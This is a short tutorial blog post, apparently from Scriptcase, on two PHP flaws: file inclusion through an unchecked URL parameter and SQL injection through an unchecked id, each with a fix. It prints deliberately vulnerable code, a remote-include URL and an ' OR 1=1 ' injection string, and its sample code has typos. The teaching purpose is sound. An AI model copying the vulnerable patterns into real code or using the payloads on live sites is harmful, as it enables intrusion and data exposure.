PHP Security Flaws: Some practices are very common when programming in PHP – that is because that language has a great ease of learning and also provides the user with an extremely agile development environment.
The didactic combined with agility provided by PHP, however, can open very serious security holes in applications developed in language. So it’s important to know about potential security breaches. This eminent risk can turn into a more serious problem if a malicious user decides to explore them within an application created without considering the validation of certain important elements.
When working with sites or applications in PHP, it is common to find screens that are loaded via includes from one parameter indicated in the URL. This parameter is used by the $ _GET method to return data:
<?php
// Checks if the variable $_GET[‘page’] exists
if (isset($_GET[‘page’])) {
// Rescues the value of the variable $_GET[‘page’]
$file = $_GET[‘page’];
} else {
// If there is no variable it defines a default value
$file = ‘home.php’;
}
includes ($file); // Includes the file
?>
Therefore, the pages will be loaded from a call in the url:
http://www.test.com/?page=contact.php
However, the code written this way hides a very serious security breach. A malicious user can add an external file path in the application and then run it from the page of the call.
http://www.test.com/?page=http://www.site.com/script-deletes-database.php
That way, you can then modify any application information. This type of attack is to first target the application database.
So that this problem is resolved and the risk refiled, you need to specify in the application which pages they are allowed to charge. An array with the name of each of the available pages will indicate to the application which ones are allowed for access and any other call will be routed to home.
<?php
// List with the files that can be called in the URL
$allowed = array(‘home.php’, ‘products.php’, ‘contact.php’, ‘company.php’);
// Checks if the variable $_GET[‘page’] exist and also if it is part of the list of allowed files
if (isset($_GET[‘page’]) AND (array_search($_GET[‘page’], $allowed) !== false)) {
// Rescues the value of the variable $_GET[‘page’]
$file = $_GET[‘page’];
} else {
// If there is no variable $_GET or it is not in the list of the allowed ones, defines a default value
$file = ‘home.php’;
}
includes ($file); // Includes the file
?>
Another common practice in PHP applications is the use of IDs – codes of records in the database – so that from them a whole page is loaded. This practice is very common in virtual stores developed with that language. This is the major security failure for attacks such as SQL Injection to happen.
In the following code you can view exactly where the failure occurs:
<?php
// URL exemple: http://www.test.com/products.php?id=15
// Saves the URL parameter in a variable
$product = $_GET[‘id’];
// Assembles the query in MySQL
$sql = “SELECT * FROM `products` WHERE `id` = ‘”.$product;
// Executes the query
$query = mysql_query($sql);
// Saves the result (array format) in a variable
$result = mysql_fetch_assoc($query);
?>
The query in MySQL would be as follows:
SELECT * FROM `products` WHERE `id` = ’15’
If all calls were made that way there would be no problem, but if the url receives a parameter with SQL statements, a single query can generate a problem. If the query was made from the url http://www.meusite.com.br/produtos.php?id= ‘OR 1 = 1 OR’ ‘=’ a statement in the database would be in the following format.
SELECT * FROM `products` WHERE `id` = ” OR 1=1 OR ” = ”
This query would return all database products and thus a very serious problem would happen. Depending on the volume of information, all the application could catch and, depending on the display of information, it would be possible to access all product information of the table.
So for this security flaw to be resolved, there needs to be an information validation before the query is triggered. In the line of the code where the parameter has transposed its value the variable that will be used in the query there must be a validation of the integer value:
$product = (int)$_GET[‘id’];
When performing such validation, no other information, but na interger number, is accepted.
These are two of the most common security flaws identified in PHP web applications. Both treated with practical and quick actions, but they represent a lot for the security of the data that the application stores. So to apply, validate and test security best practices is essential.
Check out more content on our blog!
Learn all about Scriptcase.
You might also like…